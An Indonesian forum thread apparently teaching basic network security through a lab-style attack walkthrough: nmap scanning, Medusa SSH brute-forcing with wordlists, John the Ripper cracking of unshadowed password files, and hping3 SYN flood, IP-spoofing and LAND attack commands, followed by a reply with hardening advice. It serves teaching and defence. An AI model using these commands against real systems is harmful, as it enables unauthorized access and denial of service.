Share Yuk Mengenal Mengenai Network Security

Discussion in 'Komputer dan Gadget' started by kirishima, 11 May 2014.

  1. kirishima

    kirishima Member

    448
    38
    108
    Mumpung lagi free, saya mau buat thread diskusi ini, buat temen temen yang udah ngerti, harap maklum, sama kalau bisa memberi masukan, buat yang belum tau bisa belajar. :) ini basic nya ya teman teman

    PENTING : MAYORITAS AKTIFITAS DIBAWAH DILAKUKAN DENGAN SISTEM OPERASI LINUX, kalau saya biasanya pakai kali linux,

    Saya akan membagi thread ini menjadi 2 bagian, yaitu
    1. pengenalan tentang network security
    2. Step Attacking
    3. Defending

      Kenapa saya memberi cara step attacking / penyerangan? karena dari cara menyeranglah pertahanan bisa dibangun, :ok:

      [​IMG]
    1, Pengenalan Mengenai Network Security:m_shout:
    Apasih network security itu? keamanan jaringan itu?
    yaa intinya, melindungi aset pada jaringan supaya aman, nggak dicuri, ataupun modifikasi, ataupun hal hal buruk lain yang tidak diinginkan yang dilakukan oleh pihak ke tiga

    :m_big:
    di dunia ini, kita mengenal ada hacker cracker black hat white hat dan sejenis nya. sebenarnya apasih perbedaan semua itu?
    - hacker : biasanya programmer, yang mencari pengetahuan, tapi biasanya hacker ini bukan seseorang yang jahat yang sengaja merusak data. biasanya dalam pandangan kita, hacker itu yang buruk buruk, eiits, ya mau gimana lagi, udah tertanam mindset seperti itu
    - cracker : nah ini yang biasanya kita sebut "hacker", perusak sistem, membobol sistem, pencuri data, yang pokoknya niatnya jelek
    -white hat : hacker yang baik, biasanya membobol untuk melakukan pengetesan suatu sistem keamanan. blackhat kebalikan dari white hat

    Mengapa Perlu Tahu Teknik Hacking?
    mengetahui sudut pandang hackers terhadapsecurity
    meningkatkan kewaspadaan staff IT
    meningkatkan respon terhadap insiden

    Langsung to the point. trus kalo kita biasanya denger eh eh eh situs ini dibobol, di deface, kena serangan dos, nah itu macam macam serangan ntar dibahas lebih lanjut cara dan step step penyerangan dibawah

    2,Step dalam Melakukan Penyerangan:m_shout:
    Yang saya tuliskan disini, sebagai pengetahuan, semoga digunakan untuk yang baik baik. mungkin hanya untuk tahu saja. dan ini cuman hal yang basic, kalau ada temen user yang lebih expert bisa dikoreksi ya. Di sini saya tidak mengajarkan cara untuk membobol ke suatu sistem/server, tetapi lebih kepada mekanisme dan runtutannya. jadi jangan tanya gimana cara bobol situs ini itu oke?

    Step - step dalam melakukan penyerangan :
    1.Footprinting (nslookup, whois, dig)
    2.Port Scanning (nmap)
    3.Network enumeration (nullsession) : cari account name yang sah
    4.Mendapatkan akses root / administrator access
    5.Menggunakan akses root yang didapatkan
    6.Attack
    - Denial of Services (DoS) :Network flooding
    - Buffer overflows : Software error
    - Malware :Virus, worm, trojan horse
    - Brute force
    7.Covering tracks (hapus jejak)
    8. Membuat backdoor

    Kita Akan membahas satu satu cara cara diatas tersebut:m_duck:\
    langsung praktek secara sederhana. prosedur prosedurnya ada dibawah ini. Sebelum nya, jangan mengira dengan mengetahui ini, anda akan bisa melakukan serangan dengan sangat mudah, karena pengetahuan yang saya tulis disini adalah network security secara dasar

    1. Footprinting
    Apa sih footprinting itu?
    Footprinting adalah melakukan pengumpulan informasi tentang segala sesuatu yang mau kita serang atau curi, sehingga bisa dilakukan pencurian data. Kalau diibaratkan maling, footprinting ini mencari tahu alamat, posisi rumah dan keadaan sekitar.
    :m_evil:
    Dalam hal jaringan, bila kita mau menyerang suatu server, secara otomatis kita harus tau alamat server tersebut. biasanya digunakan tools nslookup, untuk informasi lainnya, bisa digunakan whois, atau dig
    kalau kita nslookup suatu alamat dns server , misal oniichan.us maka akan didapatkan alamat ip

    [​IMG]

    nah alamat ip 128.199.224.108 tersebut adalah alamat target kita yang akan di serang,*ini misal nya doang
    kalau kita sudah tahu alamat ip nya langsung, misal dalam suatu lan kita akan melangkah ke step ke 2

    2. Port Scanning :m_cake:
    Apa itu port scanning? untuk apa melakukan port scanning?
    Nah, suatu komputer, memiliki service service yang berjalan, untuk komputer server yang melayani client, otomatis service nya menggunakan koneksi internet. nah port ini digunakan oleh server, server listening pada suatu port dan menunggu incomming
    connection ke port untuk melakukan pertukaran data. Koneksi bisa berupa lokal maupun remote. Misal untuk layanan web http, port nya adalah 80, 22 untuk SSH, 23 untuk telnet dsb.

    Kalau diibaratkan rumah, port ini jendelanya, pintu nya , celah masuk nya. Jadi port scanning bisa diibaratkan mencari pintu, jendela, dan celah yang terbuka untuk melakukan penyerangan.

    untuk melakukan port scanning, dilakukan nmap.
    port scanning sendiri ada bermacam macam, saya sebutkan 3 saja yang umum

    a. TCP connect scan -sT
    Jenis scan ini terhubung ke port host target dan menyelesaikan three-way
    handshake (SYN, SYN/ACK dan ACK) . disebut juga Full Open Scan
    Scan ini mudah terdeteksi oleh pengelola host target.
    [​IMG]

    Contoh scan , misal dalam suatu LAN, ada suatu server dengan alamat 192.168.0.10
    # nmap -sT -v 192.168.0.10
    Code:
    12:30 EDT
    Initiating Connect() Scan against 192.168.0.10 [1663 ports] at 12:30
    Discovered open port 3389/tcp on 192.168.0.10
    Discovered open port 80/tcp on 192.168.0.10
    Discovered open port 3306/tcp on 192.168.0.10
    Discovered open port 445/tcp on 192.168.0.10
    Discovered open port 139/tcp on 192.168.0.10
    Discovered open port 520/tcp on 192.168.0.10
    Discovered open port 135/tcp on 192.168.0.10
    The Connect() Scan took 1.45s to scan 1663 total ports.
    Host 192.168.0.10 appears to be up ... good.
    Interesting ports on 192.168.0.10:
    (The 1656 ports scanned but not shown below are in state: closed)
    PORT STATE SERVICE
    80/tcp open http
    135/tcp filtered msrpc
    139/tcp filtered netbios-ssn
    445/tcp open microsoft-ds
    520/tcp open efs
    3306/tcp open mysql
    3389/tcp open ms-term-serv
    MAC Address: 00:30:48:11:AB:5A (Supermicro Computer)
    Nmap finished: 1 IP address (1 host up) scanned in 2.242 seconds

    diatas terlihat ada beberapa service dengan port yang terbuka, misal http,

    b.TCP SYN Scan -sS
    Teknik ini dikenal sebagai half-opening scanning karena suatu koneksi
    penuh tidak sampai terbentuk. Suatu paket SYN dikirimkan ke port host
    target. Bila SYN/ACK diterima dari port host target, maka kita dapat
    mengambil kesimpulan bahwa port tersebut dalam status listening.
    Jika RST/ACK diterima, biasanya menunjukkan bahwa port tersebut tidak
    listening.
    Suatu RST/ACK akan dikirim oleh mesin yang melakukan scanning
    sehingga koneksi penuh tidak akan terbentuk. Teknik ini bersifat siluman
    dibandingkan dengan TCP koneksi penuh dan tidak akan tercatat pada log
    host target.
    [​IMG]

    b. TCP Xmas tree scan -sX
    Teknik ini mengirimkan suatu paket FIN, URG dan PUSH ke port host
    target. Berdasarkan RFC 793,host target akan mengembalikan suatu RST
    untuk semua port yang tertutup.
    [​IMG]

    silakan dicoba beberapa perintah tersebut.
    setelah alamat ip tahu, port yang terbuka tahu, dilakukan step selanjutnya, enumeration dan password management

    3. Enumeration & Password Management :m_golf:
    Setelah alamat tahu, port yang terbuka tahu, tinggal kita coba masuk ke sana
    misal, jika port yang terbuka adalah port 22 ataupun 23, maka dapat dilakukan telnet dan ssh untuk melakukan brute force attack untuk mendapat kan username dan password.

    [​IMG]

    intinya, enumeration dan password management ini, adalah bagaimana caranya mendapatkan username yang sah. disini mediskripsikan berbagai aktivitas termasuk di dalamnya crack, decrypt, delete dan berbagai teknik untuk mendeface keamanan password

    tools tools yang bisa dipakai misal medus, john the ripper, dll

    Untuk dapat mengakses sistem operasi Linux digunakan mekanisme password. Pada
    distribusi-distribusi Linux yang lama, password tersebut disimpan dalam suatu file teks yang
    terletak di /etc/passwd. File ini harus dapat dibaca oleh setiap orang (world readable) agar dapat
    digunakan oleh program-program lain yang menggunakan mekanisme password tersebut.
    Contoh isi file /etc/passwd
    Code:
    root:..CETo68esYsA:0:0:root:/root:/bin/bash
    
    bin:jvXHHBGCK7nkg:1:1:bin:/bin:
    daemon:i1YD6CckS:2:2:daemon:/sbin:
    adm:bj2NcvrnubUqU:3:4:adm:/var/adm:
    rms:x9kxv932ckadsf:100:100:Netsec :/home/netsec:/bin/bash
    dmr:ZeoW7CaIcQmjhl:101:101:Azhar A:/home/azhar a:/bin/bash
    linus:IK40Bb5NnkAHk:102:102:Rima Raissawinda:/home/rima raissawinda:/bin/bash
    Field pertama : nama login
    Field kedua : password yang terenkripsi
    Field ketiga : User ID
    Field keempat : Group ID
    Field kelima : Nama sebenarnya
    Field keenam : Home directory user
    Field ketujuh : User Shell

    Password login yang terdapat pada file /etc/passwd dienkripsi dengan menggunakan
    algoritma DES yang telah dimodifikasi. Meskipun demikian hal tersebut tidak mengurangi
    kemungkinan password tersebut dibongkar (crack). Karena penyerang (attacker) dapat
    melakukan dictionary-based attack dengan cara :
    a. menyalin file /etc/passwd tersebut
    b. menjalankan program-program yang berguna untuk membongkar password, contohnya
    adalah John the Ripper (www.openwall.com/john/).

    Untuk mengatasi permasalahan ini pada distribusi-distribusi Linux yang baru digunakan
    program utility shadow password yang menjadikan file /etc/passwd tidak lagi berisikan informasi
    password yang telah dienkripsi, informasi tersebut kini disimpan pada file /etc/shadow yang
    hanya dapat dibaca oleh root
    Berikut ini adalah contoh file /etc/passwd yang telah di-shadow :
    Code:
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:
    daemon:x:2:2:daemon:/sbin:
    adm:x:3:4:adm:/var/adm:
    rms:x:100:100:Netsec:/home/netsec:/bin/bash
    dmr:x:101:101:Azhar A:/home/azhar a:/bin/bash
    linus:x:102:102:RIma Raissawinda:/home/rima raissawinda:/bin/bash
    :m_happy:
    Dengan demikian, penggunaan shadow password akan mempersulit attacker untuk
    melakukan dictionary-based attack terhadap file password

    Contoh melakukan enumerasi dan pencarian password
    [​IMG]
    misal:
    Pilih 192.168.50.x sebagai PC Server, misal: 192.168.50.10
    Pilih 192.168.50.y sebagai PC Client & Attacker, misal: 192.168.50.20

    - Melakukan Sniffing pada Jaringan
    Pada PC server install
    Installah aplikasi telnet, ssh server dan ftp server pada PC Server
    Code:
    # apt-get install telnetd ssh proftpd
    
    Pastikan semua port tersebut dalam kondisi “open” dengan perintah nmap

    Buat beberapa user account untuk mengakses aplikasi tersebut
    Misal:
    User : faruq
    Password : f@ruq
    Gunakan perintah : # adduser faruq

    Jalankan wireshark pada PC Client, pilihlah mode yang non-promiscuous agar paket data yang
    ditangkap hanya dari PC Client ke PC Server saja.
    [​IMG]

    Lakukan akses telnet dari PC Client ke PC Server, masukkan account yang telah dibuat pada
    tahap no. 2.
    # telnet 192.168.50.10
    Setelah terkoneksi, stop wireshark untuk mengamati paket data. Lakukan filter terhadap data telnet saja. Klik kanan salah satu paket data dan pilih Follow TCP Stream.

    Lakukan akses telnet dari PC Client ke PC Server, masukkan account yang telah dibuat pada
    tahap no. 2. misal seperti pada gambar dibawah
    [​IMG]
    Maka akan nampak hasilnya sebagai berikut
    [​IMG]
    - Melakukan Enumeration dengan Medusa
    Install Medusa
    Untuk mendapatkan username dan password dari suatu aplikasi jaringan bisa digunakan tool
    medusa / hydra / ncrack dari linux. Dalam percobaan ini akan digunakan tool medusa.
    Instalasi medusa pada PC Attacker
    # apt-get install medusa
    Buat wordlist untuk username dan password.
    Code:
    # vim user
    nafisa
    fakhri
    faruq
    fitria
    # vim password
    faruq
    Faruq
    faruq123
    123456
    f@ruq
    F@ruq
    
    Lakukan penetrasi ke PC Server dari PC attacker dengan perintah berikut:
    Code:
    # medusa –U user –P password –h 192.168.50.10 –M ssh

    -h : koneksi ke suatu host
    -u : username yang sudah diketahui
    -U : pencarian username dari wordlist
    -P : pencarian password dari wordlist (bisa download dari internet)
    -M : service / aplikasi yang berjalan pada suatu sistem jaringan (bisa juga dipilih ftp, ssh,
    telnet, snmp,smb,vnc, dlll)
    Jika berhasil maka akan muncul username dan password untuk masuk ke aplikasi tersebut dengan mencoba semua kemungkinan yang ada.
    [​IMG]
    Jika username sudah diketahui, dapat digunakan sintak
    # medusa –u “faruq” –P password –h 192.168.50.10 –M ssh

    ================================UPDATE1==============================
    -Melihat Password dengan John The Ripper
    john the ripper ini, akan mengcrack password yang di /etc/shadow, dengan yang di /etc/passwd dan dibandingkan sehingga didapatkan username dan password

    Login sebagai root dan install john the ripper dari source.
    File-file yang diperlukan untuk crack password adalah :
    Code:
    crypt_fmt.c
    john-1.7.9.tar.gz
    john-1.7.9.tar.gz.sign
    openwall-signatures.asc
    
    Copy semua file di atas ke /home/john
    Konfirmasi tentang signature
    Code:
    #apt-get install pgpgpg
    #pgp -ka openwall-signatures.asc
    
    Cek signature
    Code:
    $ pgp john-1.7.4.2.tar.gz.sign john-1.7.4.2.tar.gz
    gpg: Signature made Tue 19 Jan 2010 04:10:08 AM EST using RSA key ID 295029F1
    gpg: Good signature from "Openwall Project <signatures@openwall.com>"
    gpg: WARNING: This key is not certified with a trusted signature!
    gpg: There is no indication that the signature belongs to the owner.
    Primary key fingerprint: 0C 29 43 AE 1E CD 24 EA 6E 0C B6 EE F5 84 25 69
    
    Code:
    tar -zxvf john-1.7.4.2.tar.gz
    cd john-1.7.4.2/src
    
    Patch “john” memanggil crypt(3) untuk mengenkode password jika enkripsi tidak didukung.
    Terdapat 3 file yang diperlukan untuk merubahnya: Makefile, crypt_fmt.c dan john.c
    #gedit Makefile
    Tambahkan "-lcrypt" ke baris "LDFLAGS = -s", sehingga akan terlihat
    Code:
    LDFLAGS = -s $(OMPFLAGS)
    LDFLAGS = -s -lcrypt
    
    copy dari file yang sudah di download ke direktori john
    Code:
    extern struct fmt_main fmt_DES, fmt_BSDI, fmt_MD5, fmt_BF;
    extern struct fmt_main fmt_AFS, fmt_LM;
    extern struct fmt_main fmt_crypt
    
    Code:
    john_register_one(&fmt_DES);
    john_register_one(&fmt_BSDI);
    john_register_one(&fmt_MD5);
    john_register_one(&fmt_BF);
    john_register_one(&fmt_AFS);
    john_register_one(&fmt_LM);
    john_register_one(&fmt_crypt);
    
    jika program "make" belum terinstall, install make #apt-get install make
    Code:
    #make linux-x86-sse2
    
    akan terdapat "john" dalam ../run directory
    # cd ../run
    #unshadow /etc/passwd /etc/shadow > shadowfile ./john shadowfile

    tergantung seberapa rumit kombinasi passwordnya dan akan berpengaruh terhadap lama proses crackingnya Hasilnya akan terlihat seperti dibawah
    [​IMG]

    mencari password dengan sniffing bisa dilakukan juga dengan dsniff, ettercap dan software sejenisnya.


    4.Mendapatkan akses root / administrator access
    Dengan beberapa cara cara diatas, dapat diperoleh akses admin, untuk penyerangan , Attacking lanjut ke post 2

    Sheratan : wkwkwkwk iya bulan bulan ini mungkin musim nya, awkwkwkwk tapi jadi seru kan hahahaha :peace
     
    Last edited: 11 May 2014
  2. kirishima

    kirishima Member

    448
    38
    108
    ATTACKIIIIIIIIIIIIIIIIIIIIIIING!!!!!!!!!!!!!!!!!!!!
    Disini akan dijelaskan cara cara penyerangan secara sederhana

    1. Denial of Service
    • Menjadikan service tidak dapat dipergunakan
    • Target DoS:
    - Traffic flooding (membanjiri lalu lintas jaringan dgn banyak data)
    - Request flooding (membanjiri jaringan dengan banyak request terhadap sebuah layanan jaringan)
    jadi intinya, dos itu, membanjiri traffik jadi nggak ada ruang buat orang lain untuk mengakses

    [​IMG]

    Jenis Jenis DOS

    Bandwidth Attack (ping of death attack atau bootnet)
    mengirimkan data yang melebihi kapasitas sistim, misalnya paket ICMP (ping) yang
    berukuran sangat besar
    [​IMG]

    Code:
    #ping -s 62000 IP_TARGET
    SYN FLOODING dan IP SPOOFING dan LAND ATTACK
    Half-open connection attack misal IP target 192.168.50.10
    • install hping3 pada PC Attacker
      Code:
      # apt-get install hping3
    • Lakukan syn flooding pada PC Server pada port 80
      Code:
      # hping3 –S –p 80 192.168.50.10
      -S : Syn flag
      -p : port, default port 0
    • Bisa juga dilakukan spoofing IP address dengan paket UDP (karena paket icmp biasanya sudah diblok oleh firewall) pada PC Server pada port 80
      Code:
      # hping3 –p 80 192.168.50.10 --udp –-spoof 10.10.10.10
      spoofing ip maksudnya, mengelabuhi server dan menggunakan IP address palsu
    • Atau dengan ip spoofing random
      Code:
      # hping3 –S –p 80 192.168.50.10 --udp –-rand-source
    • Lakukan LAND Attack (menyerang dengan IP yg sama dengan PC Server) pada PC Server pada port 80
      Code:
      # hping3 –p 80 192.168.50.10 --udp –-spoof 192.168.50.10
      
    Bersambung...........
     
    Last edited: 11 May 2014
    fleurishana likes this.
  3. kirishima

    kirishima Member

    448
    38
    108
    Reserved Reserved Reserved Reserved Reserved Reserved Reserved Reserved Reserved
    Defending Area
     
  4. Sheratan

    Sheratan Parental Advisory Staff Member Uploader Donatur Event Winner VN Development Team Masa Latihan

    3.728
    738
    248
    Satu lagi tutorial menarik dari bung kiri. Mantap!

    Memang soal keamanan jaringan bulan April - Mei ini lagi gila-gilaan. Heartbleed, Escalated Previlages di PHP-FPM, OpenSSL Inject, dst Puyeng awak 2 bulan ini. @_@

    Agar asik, mari kita coba analisa oniichan:

    Bisa di atasi dengan CDN, tapi biaya besar.

    Port scanning ini sederhana tapi lumayan ngenes juga. Banyak sekali port yang terbuka secara default di Linux, jadi kalau ingin digunakan sebagai web server kita harus menentukan, service apa saja yang kita butuhkan? Jika tidak butuh ya matikan. Jika memungkinkan, ganti port. Waspadai juga pemilihan port nya. Mau lebih bagus? fail2ban secara khusus ke port nya. Iptables juga berguna untuk mengatur apa yang boleh masuk dan keluar. Tutup semua, buka yg dibutuhkan.

    sudo is your friend. :D jangan pernah menggunakan akun root kecuali benar-benar terpaksa, untuk SSH bisa gunakan mekanisme key login untuk menggantikan sistem standar (password)

    Musuh bersama ini. Gw benci banget sama yg macam begini. Bikin melek tengah malam. Email kanan-kiri telpon upstream. CDN bisa jadi penyelamat.

    Ini diluar kendali kita kan? Untuk menghindari hal ini kita harus senantiasa update
    Malware... dulu gw pernah dapat kasus ada malware yg ngubah server jadi zombie, ddos server lain. chrootkit sama rkhunter gak deteksi apa-apa, clamav juga. Terpaksa install ulang. @_@

    fail2ban FTW! CSF juga bagus... kebanyakan sih yang berbasi cPanel pakai CSF atau cphulk.

    BTW dikau nongol pas isu soal keamanan lagi naik ini. Hmm... mencurigakan. :sneaky:
     
    Flame-kun, Dejiko and kirishima like this.

Share This Page